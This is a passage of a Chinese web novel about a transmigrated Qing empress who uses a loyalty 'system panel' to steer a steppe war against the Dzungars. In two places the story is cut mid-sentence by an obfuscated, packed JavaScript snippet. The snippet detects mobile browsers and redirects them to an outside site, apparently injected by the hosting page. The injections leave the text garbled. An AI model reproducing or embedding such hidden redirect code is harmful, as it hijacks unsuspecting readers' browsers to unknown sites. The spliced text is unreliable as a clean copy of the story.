他把眼凑近镜片,远处的景象瞬间清晰起来——西边的草原上,烟尘滚滚,像是有大队人马在冲锋,马蹄扬起的雪雾遮天蔽日。 “是援军?”他心里突突直跳,调焦的手都带了颤。 镜头里,烟尘最前头,一面大旗正迎风招展,旗上绣着三只展翅的凤凰,金线在雪光下闪得刺眼。 佟国纲的呼吸猛地顿住——这是皇后娘娘的备用大纛!他在草原大帐外见过,那面纛等闲不示人,怎么会出现在这儿? 更让他心惊的是,旗手旁边,有个银甲小将正挥着一柄长杆大刀开路。那刀通体锃亮,刀柄上嵌着七颗红宝石,正是皇后娘娘常放在帐内的那把“凤翎刀”!他记得娘娘说过,这刀太重,寻常人舞不动,只做个念想。 “那是谁?”佟国纲死死盯着镜头里的银甲小将,对方身形挺拔,动作利落,一刀劈翻冲上来的准噶尔兵,七八个人不得近身,马速快得像道闪电,直接切割进去,冲的准噶尔人人仰马翻,简直太勇猛了! “将军!准噶尔人乱了!他们在往后退!”副将在旁边激动大喊,“时机到了,将军。” 佟国纲却没听见,他的目光全被那面凤凰大纛和那把凤翎刀勾住了——皇后娘娘明明在大帐里守着太皇太后,不可能来这里。 这大纛,莫非是端贝勒带出来的?可他年纪轻轻,娘娘怎么敢就这么让个新手冲过来?就算他演武第一,也是新手啊! 厉害的新手!佟国纲看着准噶尔人被打的连连后退,不少人转身就跑,生怕被银甲杀神盯上。 镜头里,飘扬的火红凤凰大旗越来越近,银甲小将勒住马,缓缓降速,身后亲兵也是一般动作,整齐划一,仿佛演练了千百遍。那小将转身对着死谷的方向扬了扬刀,刀点三下,划过一道圆弧,像是在示意什么。 “是……是端贝勒!”副将突然叫起来,“演武时他耍过这路刀法!”副将也是被端贝勒冲垮过军阵的,晓得这人看着瘦弱,实则力能扛鼎,他站在端贝勒对面,仿佛面对的是一头野兽。 佟国纲猛地放下望远镜,望着远处越来越近的烟尘,忽然笑了,笑得眼角的皱纹都堆了起来,这小子是在告诉他来迟了,让他多担待。 端贝勒都打着凤纛来了,视同凤驾亲临,君救臣来,哪里有来迟一说。 皇后娘娘胆子太大了,为了一个佟国纲,值不当冒这么大风险。 他大眼一瞪,看出端贝勒此番是带了五百两营混编骑兵加五百蒙古骑兵。难为贝勒爷指挥的这般纯熟,丝毫不似临时拼凑的队伍。 按照他的想法,原以为来的就是漠南蒙古的援兵,充其量会是冯唐带队来援。就算漠南的人再拉垮,只要能争取一时混乱便足矣。 可娘娘就是把端贝勒派了出来,这小将真是神人天降啊。他佟国纲带着一千人,就不敢蛮干,还要在这里等。端贝勒来了就冲,丝毫谋略都不用,直接就给准噶尔冲垮了。 什么是天赋,这就是天赋!过去佟国纲不相信有这等人,现在由不得他不信了,真有天生的名将啊!古之霍去病,今之端贝勒! 但此刻营中空虚,佟国纲露出的笑脸收回,换上了愁容。娘娘的魄力也未免太足,只留五百自己人护卫在侧,靠那些外围的蒙古人,三位贵人若真有个万一,他佟国纲万死矣。 火器营的老兵都惊了,就说护军营的新兵怎么那么踏实,原来人家的底气在这儿——皇后娘娘说了“一个都不能少”,还真就派了援兵,还是勇冠三军的端贝勒带来的援兵! “弟兄们!”佟国纲猛地转身,扯开嗓子大喊,“抄家伙!端贝勒来接咱们了!冲出去!”无论如何,得尽快突围。 死谷里瞬间沸腾起来,赵武一把拽起还在发愣的栓子,往他背上拍了一巴掌:“主子娘娘,还真派人来了!” 栓子望着远处的凤凰大纛,黑脸上笑开了花,攥紧鸟铳就往前冲:“俺就说嘛!娘娘说话算数!主子娘娘来救奴才了。” 赵武咧着嘴,听得怎么那么不顺耳,自古以来,哪里有主子救奴才的。 这些包衣真是幸运!他想着家里的妹子,之前有媒人来说项,是个包衣家的小子,他家虽然是穷,可也是旗人,便给拒了。 这一趟听了不少包衣炫耀他们的待遇,回去,倒是可以重新考虑妹子的婚事。 跟着好主子比什么都重要,什么旗不旗的,旗人日子过的还不见得有包衣好。 谷外的风卷着雪,却吹不散那越来越近的马蹄声。 佟国纲望着那面在雪地里格外醒目的火红凤凰大旗,皇后,不仅有算计,更有这份敢把刀插进敌人心脏的狠劲。 他想过,咱们这位主子娘娘会明白他的意思,派人来配合他里外夹击准噶尔人,但他以为来的是冯唐带的蒙古骑兵啊。 营中大帐内的药味还没散,珠兰正用银匙给太皇太后喂药,动作轻得像怕碰碎了眼前的人。离开京城后,她的观察点全由太皇太后提供,老人家可得撑住。 抽空看了一眼系统面板,火器营的忠诚度整体已经提高到60以上,成为一支她可以插手掌控的军队,就是人数少了点,佟国纲的忠诚数据更是大幅度攀升,已然超越70,算是珠兰在外朝的又一支点了。 相救之恩,便是如此。 “皇祖母睡熟了。”珠兰放下药碗,转向一旁坐立不安的雅图和阿图,声音平静得听不出波澜,“算算时间,准噶尔的人此刻正跟佟国纲、端敏缠斗,注意力全在死谷那边。两位王爷被关的地方,定是防备最松的时候。” 雅图公主猛地抬头,眼里的倦意被火光取代:“您的意思是……现在去救他们?” “拼一把,或许能成。”珠兰点头,指尖在膝头轻轻点着,“再等下去,准噶尔人回过神,或是冬天的大雪封了路,就麻烦了。” 阿图公主攥紧了帕子,指节发白:“可……可佟将军和端敏都在外头,营里还有能领兵的人吗?”她们部落的勇士虽勇,帐中却没有能独当一面的,更不懂怎么救人。漠南承平日久,战斗力早就退化的不能看了。 珠兰看向帐外候着的一个身影,“护军统领冯唐,随我们从京里来的,有经验,有能力。”她转向两位公主,目光坦诚,“事急从权,我信他。若是你们也信,便从各自带来的骑兵里分两百人给他,让他带着抄小路去救人。准噶尔人想不到咱们敢在这时候分兵,定能打他们个措手不及。”京中带来的最后五百人得留下,以防不测。 雅图几乎没犹豫:“我信皇后娘娘!”她起身就要唤人,“我这就去点最精锐的骑兵!” 阿图也跟着站起来,声音带着哭腔却很坚定:“巴林部的人也听冯将军调遣!” “这……这能行吗?”太后在一旁听得心惊,拉住珠兰的手,指腹冰凉,“冯将军走了,营里就剩些老弱,咱们的安危怎么办?” 军中哪里有老弱,只是太后不放心罢了。 珠兰反握住她的手,暖意顺着指尖传过去:“皇额娘放心,佟国纲那边打得正凶,准噶尔人巴不得咱们按兵不动,绝不会想到往咱们这儿来。再说,”她笑了笑,眼底闪着狡黠,“他们就算想来,也得问问帐外那些‘看热闹’的部落。” 其实准噶尔的人就是来抢劫的,不是来宣战的,计划里压根儿没有她们三个的事儿。再者,他派出来探听的斥候都被宜春带人解决了。这里,绝对是安全的。 太后一愣,才想起珠兰早让苏麻喇姑安排太皇太后的亲信之人给附近几个部落送了信,只说“准噶尔捞过境了,让各部加强防范”。这事儿是瞒着两位公主的,毕竟不能全依着她们的心思行事,太皇太后的安危是最重要的。 “我还有个建议。”珠兰话锋一转,看向两位公主,“等两位王爷回来,不如借着这次的事,把漠南各部的首领都请来聚聚。准噶尔敢在咱们的地盘上动手,总得让他们看看,咱们不是好欺负的。”既然已经挑起纷争,不能虎头蛇尾。 此刻漠北已然入冬,各部都猫冬去了,不然还能再热闹一点。 雅图和阿图对视一眼,都从对方眼里看到了亮光——这不仅是报仇,更是借机收拢漠南各部。有好处的事儿,大家都爱。能在冬日之前用反击的大义去打漠西人,还可以捞一笔,何乐不为。 “就按娘娘说的办!”雅图用力点头,声音里终于有了些往日的底气。 珠兰望向帐帘,仿佛能看见冯唐带着骑兵冲进关押王爷的营地,看见端敏在死谷外挥刀的模样,看见佟国纲领着火器营冲出来的烟尘。 一切都在计划中,虽然总有意外,但大方向不变即可。闹的越大越热闹了,见招拆招吧。哪里有万无一失的权谋之术呀,不过是打的信息差罢了。 她轻轻抚了抚太皇太后露在被外的手,那里还带着药的余温。这盘棋,快下完了。 今年过后,很长一段时间内,她不会再有机会直接干涉草原之事。必须借着这个机会,一举奠定端敏在这里的威势,其余的再慢慢通过商队、底层进行渗透。蒙古干系着罗刹与西域,那里都是珠兰要谋划的地方。天下如此之大,岂能只看中原。 风从帐缝里钻进来,卷走了些药味,却卷不走帐内悄然滋生的希望——等风雪停了,草原上该换个样子了。 佟国纲哪里知道,死谷外杀来的援军,压根不是他派出去的斥候引来的。 那些天里,他派了三队斥候试图冲出去报信,可准噶尔人的军阵看着松散,实际拉得密不透风,像张浸了油的网,任凭斥候们怎么绕路、怎么伪装,都没能钻出包围圈,反倒折了两个好手。 谷里的人不知道,谷外的准噶尔人更不知道,此刻死谷内外的动静,早通过另一道隐秘的线,传到了草原大帐里。 珠兰手里的消息渠道,比任何人想的都要活络——翻云会早先安插在准噶尔部的眼线,每天都有密信传来,不仅说清了佟国纲被困的死谷方位,连僧格军中缺粮、火炮炸膛、甚至他夜里翻来覆去念叨“怕大雪封路”的细节,都摸得一清二楚。 因为珠兰肯放权,舍得给手下用观察点提升属性,翻云会发展的像炸开的蒲公英,都不知道有多少能人混进了蒙古各部,又吸纳了多少新人,比一开始寿春安排的人翻倍又翻倍了。 因为他们遍地开花,才有珠兰玩信息差的底气。某些人才能在恰好的时间,完成既定的相遇。 虽然王爷们的举动有点不受控,但他们莽撞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161597|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲入准噶尔人后军这一作死行为,让珠兰有了新的灵感,翻云会也有了新剧本。 本来是为了商路的事操持的场面,现在直接一步到位,奠定未来草原的局势,也未尝不好。 她算准了僧格的软肋:既怕清军援兵,又急着回漠西过冬,加上之前送回去的巨额战利品等着分,军心早散了一半。 更算准了时机——端敏带着的援兵,不多不少,正好是能撕开军阵,配合佟国纲发力,又不至于让僧格狗急跳墙的数目。 打个劫,带两万人出来,押运战利品让一万人回去。僧格的操作,珠兰也不理解。原本她是打着他派个千人队出来,就了不得的想法的。 因为他这个倾巢而出的举动,迫使珠兰也只好跟着改计划。循序渐进不唱了,改一劳永逸。 然后连锁反应,就反应的剧烈了。 总之,端敏的凤凰大纛出现在草原尽头时,准噶尔人慌了,僧格乱了,死谷里的佟国纲趁机冲了。 佟国纲本想领着谷里的弟兄跟端贝勒的援军合兵一处,没承想那银甲小将打起仗来竟像头脱缰的豹子,半点不按常理出牌。 端敏压根不恋战,手里凤翎刀一挥,专挑准噶尔军阵的衔接处冲——那些地方本就是兵力最薄的缝隙,被她带着人“咔嚓”一刀劈进去,好好的大阵瞬间裂成好几段。 准噶尔人慌了神,僧格刚想收拢阵型,端敏的骑兵已经调转马头,又冲向下一处薄弱点,动作快得像阵旋风。 这一进一出不只是让僧格首尾不能相顾,还让他错估了敌人的数量,毕竟他看到中军外都是敌人。 “好小子!”佟国纲看得眼热,当即下令,“火器营跟我上!一块一块啃,把他们给我嚼碎了!” 他带着人从谷里杀出来,专捡被端敏切开的小块准噶尔兵围打。火器营的鸟铳在近处也打得准,护军营的新兵此刻也红了眼,跟着老兵往前冲。原本被围的困兽,反倒成了分割猎物的利刃,三下五除二就撕开了包围圈。 本来被包围的是火器营,在端敏九进八出之下,僧格觉得自己被包围了。 佟国纲越打越顺,只觉这端贝勒的章法邪门得很,偏生每一刀都砍在薄弱上,仿佛准噶尔人的软肋全被他摸透了。他跟着打,明明是以少打多,生生整出以多打少的氛围了。 力量来自她的天赋和秘法的磨练,而端敏这股子狠劲和准头,是这些日子一点点磨出来的——从演武场的木桩子,到沙盘上的阵型图,再到让老兵陪着拆解实战案例,那些被观察点刻意强化的瞬时反应力,早已刻进了她的骨子里。 此刻的端敏,眼里只剩厮杀。长柄凤翎刀劈翻最后一个试图拦路的准噶尔百夫长,她勒住马,银甲上的血珠顺着甲胄往下滴,在雪地里砸出点点红梅。 因为生性多疑又谨慎,总怕弟弟夺权,僧格外出打劫都带麾下主力部队出来,现在更是已经带着中军跑路了,后头的准噶尔人也跟着溃逃,自己踩踏死不少人。 这个准噶尔的首领,空有野心,可他实在是游移不定,又多疑不静,还学艺不精。 端敏抬头望向远处的死谷,又扭头看向正在收拢军阵的佟国纲,扬声大笑,显然留有余力,声音清亮得如同凤凰长鸣,隐隐盖过了风声:“漠西勇士,插标卖首之辈尔!” 周边将士都跟着嗷嗷叫,打了酣畅的胜仗,兴奋的都不晓得累。 那股子悍劲和傲气,别说寻常蒙古将领,就是当年跟着皇太极打天下的老将见了,也得赞一句“勇冠三军”。佟国纲望着她的背影,忽然觉得——自己老了啊! 草原大帐内,烛火映着案上的信纸,珠兰握着狼毫,正一笔一划写着给康熙的回信。 太后坐在一旁,看着她将近日的战事、冯唐的动向,甚至连预计向西追击准噶尔残部的打算都写得清清楚楚,末了还特意注明“不需朝廷调一兵一卒,借漠南各部之力便可”,不由得好奇地探过头:“珠兰,你怎么连准噶尔部往哪跑都知道?咱们在这大帐里,消息是从哪儿来的?” 珠兰放下笔,蘸了点墨,莞尔一笑:“皇额娘忘了?皇上在草原上本就有布置,临行前他把那些渠道都交给我了,让我遇事不必束手束脚。”实则,是刚给的。 太后这才恍然,轻轻“哦”了一声,便不再多问。她向来不掺和前朝的事,皇上有自己的眼线,珠兰能调动这些,想必是得了皇上的特许,多说反倒不妥。 珠兰见她不再追问,低头继续写信,唇角却悄悄勾了勾。皇上给的渠道自然好用,这些日子,粘杆处安插在草原的人,也渐渐成了她的人。 那些人本是替皇上监视东北和草原各部动静的,却在一次次传递消息、执行她的吩咐中,慢慢认了她这个“临时主子”。整个承德粘杆处组织的忠诚度缓慢超过了60,一切就由不得他们自己了。 帐外的风还在呼啸,夹杂着远处巡逻兵的脚步声。珠兰写完最后一个字,将信纸吹干,折好塞进密函。 她知道,太后的“不多问”是体贴。 太后也清楚,珠兰手里的这些消息渠道,是她们娘三个能在草原站稳脚跟的底气之一——皇上远在京城,太皇太后昏睡,能依靠的,只有珠兰了。 “该让信使出发了。”她对守在帐外的春苒道,声音里带着笃定。 向西追击的事,她已有了眉目,那些藏在暗处的各方眼线,会替她看清前路的每一步。 晨光刚爬上草原的帐篷尖,冯唐就带着一队人马回来了。 为首的三匹马上,正是失踪多日的科尔沁卓礼克图亲王、巴林郡王和同出科尔沁的阿郁锡台吉。他们身上的锦袍扯破了好几处,脸颊凹陷,嘴唇干裂,眼里却透着劫后余生的亮——虽受了惊吓,缺了吃喝,倒没受太重的伤。 珠兰挑了挑眉,先前失踪的斥候也都被冯唐一起救回来了。没人注意到,自己是怎么被抓的,都说好好骑在马上,瞬间就被击晕了。 是了,高手的小石头用的很绝妙。普通人哪里见过这种阵仗,可不就是一头雾水么。 雅图公主第一个扑上去,抱住丈夫的胳膊就哭,眼泪砸在他满是尘土的手背上,“你可回来了!我还以为……还以为再也见不到你了!” 阿图公主也搂着自家王爷泣不成声,宣妃更是扑进父亲怀里,哭得几乎喘不过气。 三人望着与自己相拥的亲人,眼里又红又涩,想说什么,喉咙却像被堵住,只剩粗重的喘息。 珠兰站在帐外,看着这团相拥的人影,悄悄退到了一旁。让他们哭吧,这几日的担惊受怕、九死一生,总得有个宣泄的出口。 直到哭声渐渐低了,御医诊过脉,确定三位草原贵人只是虚弱,并无大碍,珠兰才走上前,轻声道:“回来就好,先进帐歇歇,喝碗热汤。” 三人立即下跪行了大礼,感谢主子娘娘相救。 大帐里,奶茶的香气渐渐驱散了疲惫。三人喝着热汤,脸上终于有了些血色。 提起被准噶尔人绑架的事,科尔沁亲王猛地将碗往案上一放,瓷碗撞得叮当响:“欺人太甚!准噶尔竟敢在咱们的地盘上动手,这口气我绝对咽不下!” 巴林郡王也拍着桌子:“他们不仅绑了咱们,还敢向朝廷的人动刀,分明是没把漠南各部放在眼里!若不讨个说法,往后咱们在草原上还有什么脸面?” 阿郁锡台吉更是气盛,攥着拳头道:“我要带本部的骑兵,去准噶尔的地盘烧了他们的帐篷!” 珠兰见他们情绪激动,缓缓开口:“准噶尔这次贸然南下,胃口不小。他们敢动漠南的王爷,敢拦朝廷的兵,绝不是一时兴起。”她看向三人,“你们受的屈辱,是整个漠南的脸面被踩在了地上。要报复,就得让他们疼到骨子里,再不敢轻易越过边界一步。” “皇后娘娘说得是!”科尔沁亲王重重一拍大腿,眼里燃着怒火,“我科尔沁部愿出三千骑兵,打头阵!” “巴林部也出三千!”郡王紧跟着道,“定要让僧格知道,咱们漠南的人,不是好欺负的!” 这个数字已经不少了,毕竟漠南羊群比马群多。再叫上其他漠南部落,应该能凑一万骑兵,只是着甲率要少,估摸能有三成就不错。 帐内的气氛瞬间燃了起来,先前的恐惧被熊熊的怒火取代。 三人你一言我一语,很快就定下了要联合各部、西征准噶尔的主意——被绑架的奇耻大辱,比任何劝诫都管用,此刻他们心里只有一个念头:把准噶尔人欠的,连本带利讨回来。 珠兰端起自己的奶茶碗,看着帐内群情激昂的模样,眼底闪过一丝了然。 就是这股子劲,莽撞凶悍。 73. 一路向西 雪地里的厮杀声震得人耳朵发麻,端敏的凤凰大旗像一道噼里啪啦带着火光的闪电,两千人马追着准噶尔的一万大军砍杀。 准噶尔人出门打劫,没有做大战的准备,只是轻骑迅捷为重,本就缺少铁甲,又被乱套的军阵拖得筋疲力尽。 此刻被端敏和佟国纲全副武装的骑兵左右夹击,一方有甲,虽然人少,但气势如虹,一方无甲,虽然人多,可被万人敌一冲就散,哪里还敢恋战。 首领率先跑了,大军像溃散的羊群,一路往西狂奔,帐篷、辎重都顾不上了。踩踏而亡,流散而去,非战斗减员比战死的多的多。 “痛快!”佟国纲挥刀劈翻一个试图阻挡的准噶尔百夫长,看着端敏的银甲背影在乱军中穿梭,忍不住放声大笑。 他领兵几十年,打过硬仗、险仗,却从没见过这样的打法——不管阵型,不顾章法,专挑敌人最乱的地方冲,像把无柄的刀,凭着一股悍劲硬生生凿穿了五倍于己的敌军。 火器营的老兵赵武跟着往前冲,嘴里嗷嗷叫着:“端贝勒威武!” 旁边的新兵栓子更是激动,举着鸟铳就往前放,铅弹打在准噶尔人的皮袄上,溅起一片血花。 原本还怕生的护军营新兵,此刻看着银甲的身影,竟比跟着佟国纲时更兴奋,脚下的雪被踩得咯吱响,眼里全是崇拜的光。 佟国纲瞧着这景象,暗暗摇头,嘴角却忍不住上扬。他这火器营,怕是要改姓“端”了。 可转念一想,又觉得没什么不好——他本就是临时领命来草原,京里的武英殿大学士位置还空着呢。打了半辈子仗,身上的伤疤比军功章还多,是该回朝堂上歇歇了,以后啊,就少出来吧。 端敏抽空回头冲他扬了扬凤翎刀,声音清亮:“佟将军!速追!” “来了!”佟国纲笑着应道,催马跟上去。 看着那比自己儿子还小的身影,他忽然觉得,自己是真的老了。可这“老”里,带着股释然——有这样的年轻人顶上来,大清的江山,才稳当呢。 风卷着小雪,把厮杀声送向远方。准噶尔的残兵越跑越远,端敏和佟国纲的人马却没停,马蹄踏过的雪地里,只留下一路狼藉的战利品和越来越近的胜利。 雪沫子溅在贾敏的银鞍上,她勒着马,手里捧着张简易地图,指尖一点:“格格,准噶尔人往西边跑了,那边有片沼泽,咱们绕过去堵他们后路!”她身形虽瘦,骑在马上却稳如磐石,锦袍下摆被风吹得猎猎响,半点不见寻常闺阁女子的怯懦,倒比旁边几个糙汉更有气势。 端敏回头看了眼,笑着扬刀:“就听军师的!” 两人的默契早不是一天两天了,珠兰那套秘密功法,贾敏也练得极快——女子更能领会其中的巧妙,如今她不仅骨头硬了,连反应都比常人快一拍,真要拔刀,三两个壮汉近不了身。 “阿玛,你快看!”鄂伦岱抹了把脸上的雪,指着端敏身后的两个人影,“那不是叶克书吗?还有贾赦!” 佟国纲顺着他指的方向一看,眼睛顿时瞪圆了——可不是嘛!他那个向来怯懦、见了血就发抖的侄子叶克舒,此刻正举着把刀,嗷嗷叫着砍向一个准噶尔兵,脸上沾着血,眼里却燃着光,哪还有半分“兔子”的影子?旁边的贾赦更吓人,这小子以前在京里只会提笼架鸟,此刻竟拽着一个准噶尔人的辫子,硬生生把人从马上拖了下来,狠得像头刚下山的狼。 “这……这是转性了?”佟国纲喃喃道,猛虎带着出门,兔子也当狼用了。 叶克书是他二弟佟国维的儿子,打小被娇惯得胆小如鼠,这次来草原,还是家里硬塞来“历练”的;贾赦更不必说,是荣国府史夫人这位故旧塞来混资历的,谁都没指望这俩能上战场。 “还是端贝勒会调教!”鄂伦岱看得直咋舌,“这才几天啊,愣是把俩‘娇少爷’练成了猛虎!” 佟国纲望着“端贝勒”的背影,这银甲小将不仅自己能打,还像块磁石,能把身边人的血性全吸出来——怯懦的被逼着往前冲,懒散的被带着往前跑,连贾敏这样的女子,都成了能出谋划策的军师。 贾敏全然不曾隐瞒自己的女子身份,军中皆不曾因此小看了军师大人。 而且,端敏也不曾以端贝勒的身份统领大军。自立起了三凤大纛,她太后养女的身份也传遍了军中,格格就是格格。 但是,能打跟男女无关,军士们只关心建功立业,活着回家,不管主将是人是鬼,能打胜仗就行啊。 目前就佟国纲这边不明真相的,还管人家叫贝勒爷。咱们可是凤纛下的兵,是主子娘娘的人。军中都晓得她是端敏格格,勇冠三军! “好小子……”佟国纲笑着摇了摇头,催马跟上,“看来咱们都得服老喽!” 风里传来叶克书的呐喊声,混着贾赦的怒骂,还有贾敏清亮的指挥声。 佟国纲听着这乱糟糟却充满活力的声响,这场突如其来的仗打完,草原上怕是要多出不少让人刮目相看的“新人”了。 贾赦的目光总跟黏了胶似的,黏在三妹贾敏的背影上。防着冷箭,防着旁人的刀,看顾妹妹比顾着自己多。 自打演武场第一次见“端贝勒”身边那个清瘦的身影,他就觉得眼熟——那眉眼,那说话的调儿,像极了自己那个本该在宫里伴读的妹妹。 可他不敢认,谁能想到,娇滴滴的妹妹会跑到草原,还穿着男装混在军里? 直到大军开拔之前,“端贝勒”扯下头盔,露出女儿家的眉眼。 贾敏也跟着摘了帽,一头青丝晃得他眼晕。 他刚要冲过去喊“妹妹”,就被贾敏一个眼刀剜了回来,“喊什么!站好。” 那语气,比京里教他骑射的军头还凶。 贾赦愣在原地,满脑子都是“完了,回去怎么跟母亲说”——做伴读的妹妹这是跟了个什么主子啊,不仅跑来草原了,还成了“军师”,这要是让老太太知道,怕是不得了啊。 因为实在不知道怎么办,他都没敢往回寄信。 更悲催的还在后面,演武后歇脚时,贾敏拎着根马鞭就找到了他,“哥,你那几下子也叫练武?当年王师傅教你的枪法,全给鸟啄了,给蛐蛐吃了不成?” 贾赦还想嘴硬,说自己是来混资历的,没等他说完,马鞭“啪”地抽在他脚边的雪地上,溅了他一裤腿泥:“准噶尔人的刀认你是荣国府的公子吗?还是他们的马会顾忌你身上的爵位?” 贾敏是真下得去手,她在宫中练了珠兰给的功法,虽然比不上天赋异禀的端敏格格,开8力弓也是手拿把攥,身手早已不是当年,小姑娘的柔弱已经离她很远了。 三两下就把贾赦撂在雪地里,膝盖磕得生疼,脸皮也是通红。 “起来!再练!”她叉着腰,虽然桃腮粉面,但贾赦看她像个小夜叉,“练不好,我天天揍你!” 贾赦被打怕了,他自小是纨绔,虽跟着家里的军头学过几天,可父亲不甚在意他的功课后,他早就懈怠得只剩花架子。 被妹妹连着揍了两天六顿,再看看人家挥刀时的利落,终于臊得少年贾赦受不了了,他年少,还是有些心气在侧,便咬着牙捡起刀,跟着老兵一招一式地练。 叶克书在旁边看得直哆嗦,离开伯父兄长后,他就只有贾赦这个朋友了,天天和他在一起。 他本就怕疼,见贾赦被亲妹妹揍得龇牙咧嘴,生怕自己偷懒也挨姑娘的鞭子,赶紧也捡起刀,比贾赦练得还卖力。 俩人你追我赶,白天跟着队伍巡逻,晚上就着篝火练劈刺,草地里摔得鼻青脸肿,倒也没人喊苦。 贾敏专门求见皇后娘娘,询问功法能否传授自己兄长,之前她也不晓得大哥在此地,日后要打仗,她怕大哥出事。 见贾敏水汪汪的大眼睛里溢满了请求,珠兰笑着应允了,果不其然,收获了尚年少的贾赦的忠诚度。 少年人的忠,是最好获得的。 红楼梦中人,应该有不少人才可以挖掘。冯唐就是个不错的,他儿子冯紫英也不错。 贾赦练的很快,忠诚度也提的快,很快就超过了60。 珠兰见他在此,也怕他真死在战场上,影响后面红楼重要人物出生,拿观察点给他点上了武力。 不过五六天功夫,贾赦的枪法与刀法竟有了些模样,出枪时能带着风声,劈砍也有力了;叶克书是胆子小不是无能,被压着后,也敢跟人对练了,虽还是有点怕血,却再没临阵退缩过。 端敏看着这俩脱胎换骨的小子,冲贾敏挑了挑眉:“你大哥,倒比我想的强点。” 贾敏哼了一声,眼里却带着点笑意:“再懒,我还揍。” 远处的贾赦打了个喷嚏,摸了摸后脑勺,总觉得背后凉飕飕的——他哪知道,自己这趟草原之行,没混到资历,倒先被亲妹妹给“改造”了。 此刻,草原大帐外的空地上,篝火堆烧得正旺,映着漠南各部骑兵的脸。 科尔沁亲王高举酒碗,声音洪亮如钟:“准噶尔的杂碎占了咱们的地盘,抢了咱们的财产,这次咱们就打到他们老家去,把他们的帐篷掀了,牛羊抢了!” “掀了他们的帐篷!抢了他们的牛羊!”近万骑兵齐声呐喊,声浪震得远处的羊群都惊得乱跑。 珠兰站在帐前,看着这沸腾的场面。 她早算准了漠南各部的心思——准噶尔在草原作威作福多年,抢了不少部落的牲畜和草场,积怨本就深。 如今,她代太皇太后传了懿旨,只要把准噶尔赶去西边,明年开春,漠西的草场任由他们分,这无异于在干柴上点了把火。 “巴林部愿去联络漠西被欺压的部落!”巴林郡王往前一步,拍着胸脯道,“那些人早恨准噶尔恨得牙痒痒,咱们里应外合,定能抄了他们的老窝!” “好!”皇后娘娘点头,声音清晰地传到每个人耳中,“等打胜了,准噶尔的牛羊、帐篷,归你们分!” 这话一出,各部的骑兵们更兴奋了,嗷嗷叫着翻身上马。 他们本就看不惯准噶尔——自太宗时,草原上的规矩,就是靠放牧、交易过日子。 偏这准噶尔部的头人总想着抢,抢完了就跑,跟草原上的狼似的,早该教训了。 有好处占,有旧怨要报,谁还肯歇着? 马蹄声渐渐远去,上万骑兵像股黑潮,浩浩荡荡往西去了。 他们要趁着准噶尔主力被端敏和佟国纲缠住,趁机端了对方的老巢,让僧格知道,漠南草原不是他想抢就能抢的地方。 太后望着远去的烟尘,轻轻吁了口气。还好,有珠兰稳住大局。 帐内,太皇太后刚醒,听见外面的动静,轻声问:“这是……要打仗了?” 宣妃阿日娜苏守在一旁,闻言正要答话,就见到皇后娘娘进来了。 “是去讨公道的。”珠兰走过去,替她掖了掖被角,“准噶尔占了别人的东西,总得还回来。” 太皇太后笑了,拍了拍她的手:“你这孩子,倒比男人还懂草原的规矩。”此刻,以攻代守,乃是上策。虽然她在病中,也不曾当真耳聋眼瞎。只是漠南承平日久,军力早已难以当得铁骑之称了,不仅打不过漠西,恐怕连漠北也不是对手了。 见老太太陷入沉思,珠兰笑着没说话,余光扫过系统面板,太皇太后的数据啊,十分有趣。 她一直拉着珠兰的手,难得说了很多宫中绝不会宣之于口的贴心贴肺的话,仿佛已经把珠兰这孙媳妇当亲孙女看了,可一瞅亲密度,还是不到59。 她对着太后直叹气,吓得太后琪琪格六神无主,晓得是自己无能之缘故,可她对太后的亲密度是一点没降下来的。 两位长公主也是这般,被太皇太后她劈头盖脸一顿训斥,亲密度还上涨了呢。 雪地里的斥候往来如梭,马蹄扬起的雪沫子混着寒气,在草原上拉出一道道白痕。 其中几个身影格外利落,腰间藏着的银质杆头在雪光下闪了闪——那是承德粘杆处的人。 一封封密信送到端敏手中,字迹是吉雅特有的清隽:“暂缓追击,勿求全歼,将准噶尔赶回漠西即可。保存实力,静观其变。” 端敏捏着信纸,眼底闪过一丝了然。 她打马走到佟国纲身边,扬了扬信:“佟将军,皇后娘娘的意思,咱们别追太狠了。” 佟国纲接过信,看完眉头一挑,看向端敏:“让准噶尔逃回漠西?那漠南的人……而且,咱们不回军?” “他们不是去‘捡便宜’吗?”端敏笑了,凤翎刀在雪地里划了道弧线,“就让他们好好‘捡捡’。至于大营那边,皇后娘娘没那么胆小。” 佟国纲这才反应过来,心里猛地一震——这是要让漠南和准噶尔硬碰硬啊! 准噶尔主力虽败,底子还在,漠南的人以为能抄后路,怕是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168552|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞上铁板。 到时候两败俱伤,朝廷坐收渔利,既除了准噶尔这个隐患,又能拿捏住元气大伤的漠南各部。 佟国纲打了一辈子仗,懂“借力打力”的道理。 朝廷的兵是用来镇场子的,不是替别人卖命的。 让草原人自己打自己,打累了,打怕了,才会乖乖听朝廷的话。 只是,娘娘确实大胆,这时候了还不召自己等人回去。太皇太后生病不能理事,太后竟然也听之任之。 珠兰看着数据面板,并不发愁护卫力量不足之事。护军营的统领冯唐,每日都带着两部送来守大营的两千精锐骑兵,与京中来的五百人马合练。 虽然冯唐的表现没有端敏那么有压迫力和爆炸性,但是,已经通过各种手段折服了只认强者的蒙古汉子。 他是老臣了,比心眼儿,在京中玩不过人精子。到草原上,却全无敌手。 